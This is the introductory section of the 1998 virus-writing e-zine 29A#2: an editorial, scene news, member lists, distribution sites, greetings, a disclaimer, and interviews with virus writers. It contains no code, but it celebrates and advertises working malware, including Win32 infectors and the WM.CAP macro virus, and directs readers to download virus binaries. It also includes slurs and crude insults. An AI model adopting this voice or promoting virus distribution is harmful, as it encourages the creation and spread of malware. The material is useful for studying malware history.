Introduction to 29A#2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Friday 13th, december of 1996, at 6:66am...

29A#1 is officially released to the public. It was undoubtly a magic date. But not as magic as friday 13th, which is a special day for viruses, of february, in 1998, at 6:66pm... this was the final release date/time of 29A#2, and the most curious thing is, we had never thought about letting such a coincidence happen... but it did. In this evil year (666*3=1998), who knows what else might happen in the scene? It has passed over a year since our first issue was released, last december in 1996. However this does not mean, like many people say, that we "release one issue per year". No, that's not fucking true... we've spent one year in order to release 29A#2 but that doesn't mean we will do that again. Lots of circumstances drove us to be late, such as: some members doing the military service, major changes and internal reestructuration, and most important of all: the necessity to spend a lot of time on I+D work in order to start the way in the so called "new school" (Win32). It's easy to notice now that, in most of the cases, those who could not understand these reasons were either kids with no necessity of doing the military service (by now) or coders who are not still interested on spending their efforts on Win32. You can find people out there claiming they "release 3 or 4 zines per year, instead of 1", harassing you, making pressure and/or stupid jokes about the reasons which make your zine get delayed, and so on. But the funniest thing is they pay so much attention to your ass, so they do not pay any at theirs and then get grasped, and it's their zine which gets delayed because of the same reasons they were joking about a few months ago. Being serious now, it is important to say that making comparisons about quantity is very easy. It is also important to remember tho that YAM for instance, released three issues in their eight months of life. We are not speaking about quantity, but about quality. And also about contents plus continent, working in a proffesional way, and offering interesting and innovating articles and viruses to our readers. We do our best and we think it's ok, you judge :) Like Jacky Qwerty, in a speedtalking, hypergesticulating Tarantino-like way says, "this second issue of 29A is full of hot new ground-breaking kick-ass stuff from top to bottom" - or that's what we think, it's up to you to tell us whether we're right or wrong at this. However nobody can negate the fact that we have developed for this issue completely new and unseen stuff like, for instance, the new (definitive) Win32 techniques, not only for infection but also for residency, stealth, error handling, etc. We're publishing here as well the hottest disassemblies, engines, tools, tutorials and, of course viruses of our own, including the first multiprocessor/multiplatform infector, the first virus which executes backwards, the first boot infector that uses PMODE features, the most spread baby in the world right now (CAP), and lots of completely original-featured viruses, which, together with the rest of the articles, we hope you'll read and enjoy. We hadn't released anything for over a year until this issue of 29A was uploaded to our FTP and eventually made publically available, and that is something like saying that you'll find the work of a whole year, here inside. From now onwards things will change, and we hope we will release our future issues within shorter periods of time. And this will probably mean that, at least for us, "something better than 29A#2" will almost become an oxymoron. However we will try, as it was one of our initial intentions, to make every future issue of 29A better than the previous one(s). About the scene there's a very important thing to say: it's alive, and it's more active than it has ever been, in my (humble) opinion. Besides the fact that lots of new groups have emerged, which is something always happens, we can see many important virus groups such as iKx, SLAM, SVL, Stealth, and so

on (so on=the ones i've unintentionally forgotten), as well as, for instance, magazines based on external collaborations without any group supporting them, ie Sources of Kaos. As you can see there's a lot of competence and it is pretty obvious that there's still a lot to do in the scene ;) And i think this is all by now... there is a separate article, called "News since 29A#1", in which we try to describe more or less what has happened in the scene and in 29A as part of it, since our first issue was released. Now it's time just to wish you will enjoy this new issue of 29A, and to ask you not to forget to read any of our articles, we hope you'll like them. "We're pleased if you're pleased" :)

Mister Sandman, bring me a dream.

News since 29A#1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A In a whole year it's obvious to say that many things happened. And it would be a real fuck to try to sum them all up in this article, so we'll only try to write a brief report about the most important events which took place in all this time. In fact there's nothing too interesting here, just some kind of curious news which may seem funny or at least not boring to you. For us, they were great and amazing experiences we hope we'll go thru again. First of all, after the release of 29A#1, was the discovery of some bugs in the article browser and some errors in a few articles. Our first e-zine was just a test and i think it was a pretty good first step. And it meant a big help for us in order to get some experience about magazine releasing. There was as well kind of a "lack of fame", what forced us to be lame in some aspects of the magazine (in the esthetic side) such as the sucking ANSI i had to draw myself in less than 30 minutes before releasing the zine. Many long conversations about this and other aspects of 29A took place, while our holidays (the VX ones) finished and we had to restart writing viruses. It was nice however to have received tons of e-mails from almost every part of the world congratulating us for the work we did in 29A#1. We kept on working on our viruses/articles, and by the same time we started thinking about the idea on developing the so-called "29A Labs", our website located in http://29A.islatortuga.com. Also we stopped connecting to EFnet, and, instead, we started visiting the recently founded spanish IRC network, where we eventually settled after having created our own virus channel. And these changes were not only affecting the group externally, but also internally, as by this time there were as well a lot of new members joining, and other members becoming collaborators. And you may be wondering now what the fuck a collaborator is... well, this is another feature we have implemented in 29A. Now the organization is formed both by members and collaborators. Members are those who have the compromise to write a certain number of articles and/or viruses per an also certain period of time, they are 29A, the virus writing group itself. Collaborators are external VXers who don't have any compromise with us, who write articles or viruses when they feel like that, and who send them to us in order to collaborate with the group. It is important to say that many ex-members due to their inactivity or because of their lack of time were "reclassified" and put as collaborators, instead of members. So, that's the way the group is formed. The official list of members and collaborators follows, including the last-hour additions :) IMPORTANT!!! if any of the e-mail addresses below does not work, try to use cryogen.com instead of islatortuga.com, or vice-versa. It is also important to note that we are probably moving in the next months to 29A.org, so these addresses may become obsolete soon, albeit they'll still exist, and we will keep on checking them from time to time.

-29A MEMBERS- (the VX dream-team) ;) Member name Origin IRC nick E-mail ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Mister Sandman......... Spain....... MrSandman....... mrsandman@cryogen.com Darkman................ Denmark..... _darkman_....... _darkman_@cryogen.com GriYo.................. Spain....... GriYo............... griyo@cryogen.com Jacky Qwerty........... Peru........ jqwerty........... jqwerty@cryogen.com Rajaat................. UK.......... Rajaat....... rajaat@itookmyprozac.com Reptile................ Canada...... Reptile-... reptile./.29A.fuck@usa.net Super.................. Spain....... Superx.......... super_29A@cryogen.com Tcp.................... Spain....... Tcp................... tcp@cryogen.com Vecna.................. Brazil...... Vecna............ vecna@antisocial.com

Wintermute............. Spain....... Winter..... wintermute@islatortuga.com

-COLLABORATORSCollaborator name Origin IRC nick E-mail ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An¡bal Lecter.......... Spain....... _Anibal_.......................... n/a AVV.................... Spain....... avv................... avv@cryogen.com Heuristic.............. Denmark..... n/a............................... n/a Leugim San............. Spain....... LeugimSan...... leugim_san@cryogen.com Lord Julus............. Romania..... LordJulus..... lordjulus@geocities.com Mr. White.............. Spain....... W666.......... mrwhite@islatortuga.com "Q" the Misanthrope ... USA......... n/a...... q_the_misanthrop@hotmail.com Spanska................ France...... El_Gato........ el_gato@rocketmail.com SSR.................... Russia...... ssr............................... n/a The Slug............... Spain....... the_slug......... the_slug@cryogen.com VirusBuster............ Spain....... VirusBust.......... darknode@oninet.es Ypsilon................ Spain....... Ypsilon........... ypsilon@cryogen.com Z0MBiE................. Russia...... Z0MBiE............................ n/a

Now that these important news have been told, it is time to start reporting the trivial events. I would first mention our appearances in the media. The first one was in PC Revue (?), a slovakian paper-printed magazine, where we could read a brief comment about my AntiCARO virus. After this, we received via Internet an e-mail from a guy called Javier Guerrero, who heads a virus oriented section in a spanish paper-printed magazine called PCman¡a. We had some chats about what we (29A+him) exactly wanted, and after that short period of time, a full-color, four-page article about the virus scene and 29A appeared in PCman¡a, which is one of the most popular computer magazines in Spain. In the next month, he dedicated another -even longer- article to the analysis of my virus Torero, and two months ago we were mentioned in an article dedicated to virus payloads, as before last summer we had talked with him about the idea of writing such an article, and provided him with some of the most known virus payloads. Besides, we have been interviewed by many other media, and we're waiting right now for more public appearances. These plans include our probable presence in a TV program!, plus the already confirmed announcement of the release of 29A#2 in PCman¡a, and some article(s) in another spanish paper-printed computer magazine (the best sold i think), called PC-Actual. But this all is a surprise we would not like to unveal by now... just keep on visiting the 29A Labs! ;) These are, btw, some excerpts of the article about us in PCman¡a:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 On cover: "Exclusive interview to spanish virus creators" Index : "[...] we offer to you a very interesting interview with two members of a spanish group of virus creators, called 29A. In an informal chat, our guests describe their methods, their history, and their future plans, as well as their opinions about the national and international virus scene". Page 141: "Nowadays, 29A is, internationally, the most important virus creating group, as well as the first and unique one from Spain". Page 142: "Writing viruses the way we do in 29A is to code for art and entertainment, not for effectiveness and destruction (Mr.Sandman)". - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The whole article has been converted also into a webpage, so everybody owning a browser may check it out at the official website of PCman¡a, together with other articles 29A was mentioned in:

(*) http://www.canaldinamic.es/PCMANIA/PC057/VI/pc057vivirus0000.html (*) http://www.canaldinamic.es/PCMANIA/PC058/VI/pc058vivirus0000.html (*) http://www.canaldinamic.es/PCMANIA/PC061/VI/pc061vivirus0000.html

Other funny event took place last summer, in Madrid. We celebrated the very first european VX meeting, albeit it was initially supposed to be a meeting only for 29Aers. However that's what it eventually became, as most of those VXers who were supposed to come finally couldn't, because of several different reasons. For instance, Rajaat planned to go by car from UK till Luxembourg, where he'd meet CoKe and then come to Spain. A completely unfortunate last-hour crash the same day he was leaving the UK messed every plan and made impossible to meet them... driving while being stoned... you know ;) The only foreigner we could meet was Spanska, from France. After having met everybody we went to a restaurant and had our meal. Then we went for a walk to a cybercaf‚ where we connected to IRC and had some fun on-line, and that is when we decided to split for meeting later in order to go party. Some of us went to the most famous square in Madrid, Plaza Mayor, were we could sit in a bar and try to write a virus together, it was a pretty funny thing albeit we couldn't finish it (too much heat) :) Other people such as GriYo or Spanska decided to go their way in order to have a rest, so they could have their energies on top when going party. However, this was the last time any of us saw Spanska, he felt asleep in his car until the next day :) We remet at 22:00h or so in a McDonald's, and then went to some pubs and night bars, including GriYo's... and our party stopped around 5:30h or so, with some of us (especially GriYo and i) a little bit drunk :) It was a great experience we'll repeat this summer, first in Madrid and later -hopefully- in Amsterdam. But this time things will be much more different, and besides we already know for sure right now that b0z0, Darkman, Reptile, Rajaat, and Spanska are coming, so we are sure it'll be impossible to stop laughing and having fun for an only minute. And there are also some rumors, btw, about the possibility of organizing a ganja-smoking contest so we may know at last who the fuck is the king, god or whatever of ganja ;) And last but not least, like every year, the SIMO convention (an enterprise based computer exposition, with stands and so on) took place in Madrid, and 29A couldn't miss it ;) This time it was GriYo, Wintermute, Mr. White (collaborator), and i who represented the group. It was nice to meet personally the developers of Panda, the most important spanish AV product. They were in every moment very kind and proved that it is possible to have a good relationship with "the other side". In this case, it was VX and AV who shared a funny and friendly chat, for some minutes. We could also visit the stands of other AV products, such as F-Prot, AVP, TBAV, Scan, etc, but it was good enough to stop at them and have some laughs... there were only salesmen, so it would have been a loss of time to try to speak with them :P When they saw us laughing at them they became completely astonished :) And this is all, more or less... there's another event about to come, which deals with the cellebration of the release of 29A#2, but i guess the report of this party will be part of 29A#3, so... wait until then!

Mister Sandman, bring me a dream.

29A distro sites ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A In order to know the most recent news in 29A, look for our latest releases, and be able to download binaries of our viruses as soon as they're made publically available, don't hesitate to go visit our "29A Labs", the official website of the group, at http://29A.islatortuga.com. Please note that we're moving soon to http://www.29A.org. However 29A.islatortuga.com will keep on working for a long time until we complete our "migration". If what you want is to chat with us you can always try at IRC, as we use to spend a lot of time in the #virus channel of Hispanet, the spanish network. Connect to one of the servers below and look for us, our nicknames are listed in the "News since 29A#1" article:

orion.irc-hispano.org............... pleyades.irc-hispano.org............ vega.irc-hispano.org................ fenix.irc-hispano.org............... pegasus.irc-hispano.org............. saturno.irc-hispano.org............. marte.irc-hispano.org............... mercurio.irc-hispano.org............ ganimedes.irc-hispano.org........... pulsar.irc-hispano.org.............. gaia.irc-hispano.org................ sirius.irc-hispano.org.............. europa.irc-hispano.org.............. aire.irc-hispano.org................ titan.irc-hispano.org............... jupiter.irc-hispano.org.............

Arrakis server Arrakis server Arrakis server Arrakis server Milenium server ERGOS server Minorisa server Mundiv¡a server EUI UPV server RedesTB server Argo server Servicom server CTV server Catalunya.Net server InforEspa¤a server Lleida Networks server

Since 29A#1 was released many sites (both webs and boards) showed their interest on distributing officially 29A. If want to join the list of 29A distribution sites, just e-mail either Darkman or me (you can find our address in the "News since 29A#1" article) and specify in your message: the name of your website/board and its address/phone number. And then you'll appear in the following list, when updated:

Web site/Board name Address/Phone ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 29A Labs (world hq)............................. http://29A.islatortuga.com Cicatrix site (usa hq)............... http://www.cyberstation.net/~cicatrix SiZiF's site (.yu hq)............... http://solair.eunet.yu/~sizif/29A.html Dejanu's site (.ro hq)................. http://www.rotravel.com/dejanu/29A/ Arrested Development (euro hq).............................. +31-773-547477 Black Adder (.il hq)......................................... +972-651-4404 BlueDemon BBS (.mx hq)...................................... +52-461-555-19 Dark Node (.es hq)....................................... +34-(9)86-564-053 Edison's Temple......................................... +34-(9)1-406-03-72 FaLCoN BBS (.br hq)........................................ +55-11-875-9838 IX BBS (.de hq)............................................. +49-6074-68390 Satanic Brain (.ar hq)....................................... +54-13-837480 The Frynge (.ca hq)........................................ +1-604-763-6314 Toxic Delusions (.za hq)................................... +27-24-852-5008 UiS (.my hq)................................................ +60-352-107-72

Due to a data loss at least 2-3 sites couldn't be added, as it was impossible to recontact them in order to get again their data. We in the staff hope they're reading this and then will get in touch again.

Mister Sandman, bring me a dream.

Our greetings ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Greetings go this time to... _Anibal_ 00FAh avv b0z0 CaptZero Casio Cicatrix CoKe FJP Galar Galindo giGGler God@rky Greenline iiriv Int13h jtr kdkd-666 Kid_Chaos lLeugimSan LordJulus LovinGOD LuisM Maverick MDriller mgl Murkry nick Omega666 Owl[FS] Pedro piCarDPoltergst "Q" qark QuantumG rretch RAIDERS rebyc ROLF sbringer ShadSeek Shumway SiZiF Skeeve242 Sokrates Spanska SSR StarZer0 the_slug TheWizard trgvalkie VDaemon VirusBust : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : we miss your great sense of humour on IRC ;) still translating games into spanish for EA? :P so happy you finally got a girlfriend :) hope the fuckin t-shirt arrives soon... yours rocks ;) why are people like you so motherfucking anal? learn and sing Madonna's "Like A Virgin" :P keep the *best* work up, man, you rule! your computer is now stoned (same as you, heh) you're an incult, Daft Punk roqs ;) not drunk anymore, girlfriend... really Galar? ;) is your height still 81cms? (greeting from Super) we all live in a love chaaat! -> R's ruin, hehe miss you and your cool website :( ce mai faci? esti Œnca viu? yodel again! :) so long no see, dude learn cheli and win a prize ;) we all are happy you're ok again what about your life, man??? i really miss you :( jqwerty+you+me=latin sex machines! hope to see you this summer in Madrid ;) still working on that cookie monster? vindecatori roq!!! :))) i promised you'll be here... so here it is :) the OS-migration man, hehehe ;) Universe+Orgasmatron rulez (greeting from Vecna) forget DOS and get into the new school :P greetings are the most important section ;) hope to see you more often on IRC wanna send greetings to your gramma? :) hope you and your BBS are still alive :) thinking on the anti[sm] coalition? how many RedBulls have you drunk tonite? (Super) don't get too stoned when you come to Spain ;) expressos and capuccinos rule, heh? what must you do to convince people? be back... (666th time somebody asks you) still interested on Linux stuff? love that crazy dutch radio reporter ;) ---pareces un feto de ballena, lamepollas!!! really getting a paid travel to Acapulco? forgot what IRC stands for? :) greetings because of being GriYo's inspiration what can i say to one of my idols? you should come more to Hispanet ;) more gypsies working at Tabacalera? :) i promised i'd send that to you... ;) becoming a millionaire with your AV? ;) don't even think on speaking about exams! ;) still lost in Madrid? :P russkaya viruskaya energya!!! ;) i'm working in a GameBoy infector, hehe ;) aaaarrggghhh, the $#%!@ military service use a debugger instead of cut&paste :P does this seem good enough to you? try to spice some horse up with Avecrem :) heh, treilea salut Œn limba romƒna :) happy being the "keeper of the virii"? ;)

W666 ww0rker Ypsilon Z0MBiE

: : : :

what about that movie you were writing? still married as far as i know... that's a record! you start looking serious, but keep on coding! :P what will get infected next? txt? :)

Reptile's greetings... oYirG b0z0 Kid_Chaos piCarDReptileScorpion retch : : : : : : : schizo! change nick! got the shirt? :P fascist Fujimori sucks badly! mooha! ;) bwaha! rhabarber... *** You were kicked from #virus by blah0 (banned) Hey you gimp, is it fun to work in a dungeon?! You hermaphrodizeeen bitch! Stupid fascist!

Rajaat besides wants to greet: Rhincewind, The Unforgiven, Antigen, Priest, and Metabolis, hoping to recontact them in the near future. We would like also to send special greetings to Javier Guerrero (thanks for all, man!), Bernardo Quintero (great work coming soon heh?), our friends at Panda Software (eat this!!! :P), and of course, to all our buddies at #hack in Hispanet, especially: BINARIA, DarkNail, mainboard (also his girlfriend, Ic¡ar) and Case_Zer0 (the ones i go out with more often in Madrid), also to PhiSk, for his loyalty and a big favor i still owe, La_Santa (heheh, my cyberwife) and to my best friends there (or at least, those ones i can remember right now - alphabetical order): _TaNiS_, |AkratA|, |AmandA|, |aRuSHa|, |fit0|, Akira, BiLLsUcKs, Clarisita, dairo, deadrose, Goku, Jany, Mia (welcome to Jack Rabbit Slim's) ;) NecronoiD, RAGE_666, SiLbY, Sr-aSpid and VaW (not a #hack addict tho). If you are not included here, don't think you are less important than the above for us... sometimes we even forget ourselves!

Thanks to... Exobit Artqvo Khroma Mentat Tcp The Slug Tuk Spanska : : : : : : : : democoding group who programmed the intro ANSI logo and graphics of the intro (Exobit) main writing of the intro code (Exobit) music modules of the intro (Exobit) file browser coding, configuration, bug fixes article reader coding, bug fixes 29A official logo, used in intro and ANSI screensaver, based in his Cosmos virus

Mister Sandman, bring me a dream.

Legal stuff ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Not many changes since 29A#1 so... eat more or less the same text :P Erhhhmm... well, i really hate to do this kind of things but it's necessary anyway so... ok, let's suffer a bit to make my lawyers happy :) Albeit most of our readers are supposed to have more than one virus, and to be even able to code viruses by themselves so they ain't the typical lamers who are looking for destructive code in order to fuck some computers at the school they "study" in we are conscious about the fact that exists a little and very unprobable risk to fall in the greasy hands of one of these gimps, so we'd like to make clear that the only reason which drives 29A to release this magazine is the basic principle of the educational purposes. As Qark said, "if we don't hurt the community, community won't hurt us" ;) We are not responsible of any damage caused due to the misuse of the information (articles/viruses) released in this issue of 29A, just same as somebody who makes knives isn't responsible if some schizo uses one of the knives to kill another person or to cut his dick off, got what we mean? If so, go ahead and enjoy the magazine. Otherwise just get the fuck out :)

Mister Sandman, bring me a dream.

Interview with Qark ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A For this second issue of 29A, we decided to interview Qark, one of the best virus writers ever (maybe the best?), who left VLAD and the scene about one year ago. Albeit his lack of free time, this very good friend of mine was eventually able to make possible to bring you now this great oportunity to know him better. We all miss you, dude. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 29A> Ok, Qark... this is the classic first question of almost every inter29A> view... tell me why did you choose your nick When Metabolis and I started out with VLAD we had local scene nicks that everyone knew, so we had to get new ones. (Obviously meta wasn't always called meta). When I first jumped into irc for #virus, every nick i picked was always taken, so I thought to myself "What nick could I possibly pick that noone will ever use ?", and picked Qark - because it defies the laws of English by dropping the 'u'. But why "Qark" out of all the "Q" words ? I don't know.. I can't think of any other "Q" words to be honest. 29A> When and with 'what' did you start computing? I didn't own a computer until after I left highschool. (A few years back). My first computer was a mighty 8088 XT with 20 Meg hard disk and EGA monitor :) 29A> And when did you first know about a computer virus (first experience, 29A> with which virus(es), etc)? The first I ever heard about computer viruses was when TZ's X-Fungus virus infected Suncorp (a local bank) on the radio. The first virus I ever encountered in the flesh was 1575 (green caterpiller) on someones computer. I took a copy home so that I could work out how to make a virus of my own but it was beyond me at the time. 29A> In what computer languages can you code? ASM, PAS, SQL, Modula-2 and some C. 29A> Describe yourself (phisically, morally... however... even sexually if 29A> you dare) :) Umm White, Male, average height, brown hair, blue-green-hazel (something) eyes. I'm very conservative morally - viruses are a bit of an anomally in my personality. 29A> Ok, now about viruses... tell me 29A> the ones you like most which ones have you coded, and/or

Let me see.. I've written a whole heap of viruses. Father, Mother, Sister, Brother (Incest family - Very lame) - VLAD#1 Actually mother wasn't too bad. It still stealths everything. VLAD virus, Republic, Meningitis - VLAD#2 Pretty lame still, although my flash bios infector was a nifty idea. Hemlock, Megastealth - VLAD#3 Both these viruses were pretty cool even if somewhat buggy.

Winsurfer, Goodtimes - VLAD#4 Winsurfer was a big breakthrough for Quantum and I so it is one of my favourite virii. Horsa, Ph33r - VLAD#5 I liked both of these virii. Horsa was one of the hardest things I've ever written due to the mathematics involved so I like it, and Ph33r is the first multi-OS (kind of) virus so I liked it too. (Quantum wrote the memory routines for that one) Gilgamesh, tracevir, 386 virus - VLAD#6 Pretty ordinary viruses, but my VSTE (my file entry point tunneling engine) was a new concept so I kind of liked it, even if it has been done better since. Padania, goodbye - VLAD#7 Padania was good. Goodbye sucked. Quantum and I have worked on a couple of Win95 viruses together. Win95.Punch and one in memory of TZ.. 29A> Btw, about VLAD (unavoidable question) :) you left the group... you 29A> said you didn't have the time for doing other things... explain it 29A> better, please... did you get a girlfriend? :) By "other things" I meant "anything". rest of your life goes to hell. Spend your time vladding and the

And I do have a lovely woman who takes up a sizeable chunk of my time :) luckily for me she likes viruses :) 29A> What about your personal future projects? Some more win95 viruses are on the cards. I did the vxd routines in a couple of win95 viruses so I'm still coding every now and then.. 29A> And more thingies about VLAD... could you tell me something about its 29A> story (who, when, why decided to create it, etc)? I'm pretty vague about it, but I think it went like this: Meta read ir#2 and thought "cool, im gonna start my own virus group and call it vlad". At this stage I didn't know him at all. A day later he was chatting to the sysop of the local warez board about his latest group when he was put in touch with me. And voila thats how it started. Meta had his own shareware bbs where he was the good-guy sysop, while in a secret area was the vlad virus section. There we would swap code for our latest direct-action virii :) When we got enough dross ready to produce vlad1 I jumped on the bus and the train and went out to his place to put it all together. We met for the first time at the train station. Nothing much happened at his place apart from the magazine production. The main thing I remember is it being freezing cold .. we were working on it until the early hours of the morning. Somewhere along the track meta met TZ and invited him to our private vlad conference on his bbs. We'd discuss virii techniques.. Sometime later we went onto IRC and our story is well known since then..

29A> Which is/are your favourite virus(es)? RDA.fighter is probably my favourite, followed by starship. The new virus by Quantum and I is really cool :) near you :) coming to a hard disk

29A> Do you think the perfect virus exists or might be ever coded? No.. the whole idea of a perfect virus is stupid I think. 29A> How will the 'viruses of the future' look in your opinion? It will be a resident win95/NT infector. 29A> Ok, now let's have a look at the 29A> is the AV you like most? AVP is pretty good. other side... AVs and AVers. Which

Its win95 version really needs a scanning VXD though.

29A> Heh... one question is enough for those niggas ;) now about the virus 29A> scene... give me your point of view about it (old groups, new groups, 29A> who's cool, who sucks... you know) :) Firstly, VLAD is cool :) Nuke, rabid and yam were all lame.. but trident and p/s were good. IR were always my favourite group but I don't like IRG much.. 29A are way cool :) 29A> Finally, just send a greet to someone, say something, sing, write a 29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your 29A> free space :) RIP TZ :( Greets fly out to Metabolis and Quantumg and all the people I like. Also a kiss to a certain girl :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Good luck, Qark... especially with that girl ;)

Mister Sandman, bring me a dream.

Words from Jacky Qwerty ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A First of all, i would like to send some short comentz and general greetz to the good and bad virus scene. Yes, i think there exists such diference and thats something that should be "pointed" out. Apart from this i'll take the chance to describe my articlez, virusez and utilitiez included in this 29A issue as well as my true purpose on writin and spreadin out this knowledge.

The two sidez of virus scene ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Yes, in my humble opinion, i think there is a "good" virus scene, one which is continuosly lookin for new infection ideaz, new platformz and new file formatz to infect. Just for the simple chalenge it poses by itself, not for that stupid nonsense apetite for destruction. Thats childish rubish and we dont like that. We rather enjoy foolin F-Potatoe's last protection or TBAV heuristicz or discoverin Microsoft's untold secretz, etc. This is what we like. This is the good virus scene and we'll stay this way for a long time. The other side is the "bad" virus scene, which is made of vandalz who have childish programin habitz. They move and act by the simple "minimum effort" principle. They rather enjoy randomly writin or formatin a hard drive, than squeezin both skull and brainz out in an atempt to code some more creative and interestin stuff, not the awful boresome shit they're acustomed to. For the former purpose, i'd strongly recomend to download the AVP enciclopedia DOS edition, and take a look at all the "kick ass" virus demoz it containz. Needless to say, I, as a VXer and member of the 29A group team, have nothin to do with this "bad" side of the virus scene and be sure i will reject any chance to become a "vandal" for dayz to come. Did u stick that Bontchy! #8P

Greetz to all VXerz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Warm greetz to all those creative VX coderz around the world who use their brainz and imagination writin fancy creative payloadz - harmless graphicz, soundz, etc - inside their lil' creepy binary creaturez, you all rock! ;) No greetz at all to the increasin number of lamerz and wannabeez who feel they are the bad guyz and best coderz on earth just by writin destructive nonsense rubish and wipin out compz at skool or friendz, you all suck! :( As bein part of the first group, i really hope you enjoy this 29A#2 isue as it is full of hot new ground-breakin kick-ass stuff from top to bottom ;)

Quick description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For my part i have writen and coded some nifty Win32 (WinNT/Win95/Win32s) virusez: (1) Win32.Jacky, the very first Win32 infector. (2) Win32.Cabanas, the very first resident, stealth, antidebuged, antiheuristic Win32 virus. (3) DogPaw, a simple but powerful DOS virus, which is able to infect DOS, Win3.1, Win95, WinNT and OS/2 aplicationz via a recently discovered backdoor, thanx Casio. (4) WM.CAP, my first and only macro virus writen as an entrance to the macro stuff world, simple in structure (who said complex?), but very powerful and infectious by nature - heck i didnt know it would become so comon, blame Microsoft for their stupidity -. This is all with respect to my virusez. I have also prepared a couple of articlez about macro stuff, they are named (1) Macro virus tricks, and (2) WordMacro.CAP virus description. The first

article deals with two known limitationz with actual macro virusez and then proposes solutionz for them. The second article gives a full description of a real macro virus and serves as a good compliment for the first article. Finally, i have writen two especially useful utilitiez for Win32 (with C source code included): (1) GETPROC, a Win32 console aplication very useful for beginerz, which also serves as a compliment for the PE infection tutorial. And (2) PEWRSEC, a simple DOS program which will be very useful for you Win32 ASM coderz once you understand the benefitz of a R/W code section on a PE file: you will be able to include the first generation sample of your Win32 virus in the code section, as you usually did in DOS, and you will also be able to debug it with symbolic information included along with the source code. And last but not least, i have prepared myself some useful INC filez for DOS and Win32: (1) USEFUL.inc, (2) MZ.inc, (3) WIN32API.inc and (4) PE.inc. This include filez will make more sense once u have delved yerself into the Win32 world.

Scope and Purpose ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All of these virusez/articlez/utilitiez were all coded with just one goal in mind: to make sure all this information will be given to "otherz" before i leave the scene or the world at worst. I mean, dont let your own knowledge be buried along with your body, spread it out before you leave this world. If you're smart enough and really understand this, then you are almost ready to learn from otherz. Next is that you should be moved or pushed to "learn" just by the simple educational purpose or the chalenge it poses by itself. Then you'll be ready to teach your knowledge and otherz will learn from you. Needless to say, i wouldnt like at all to know that one of my virusez has escaped from this zine coz you didnt understand this. Please dont be a lamer. Now, Enjoy! (c) 1997 Jacky Qwerty/29A.

What is happening in IR/G? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A Now talking Rajaat [IR/G]...

Preface ÄÄÄÄÄÄÄ It has now been half a year ago when our magazine got out, and since then you haven't heard much from us anymore... Why? I hope to cover some of the things that happened in IR/G and what the current status is (as far as I know, that is).

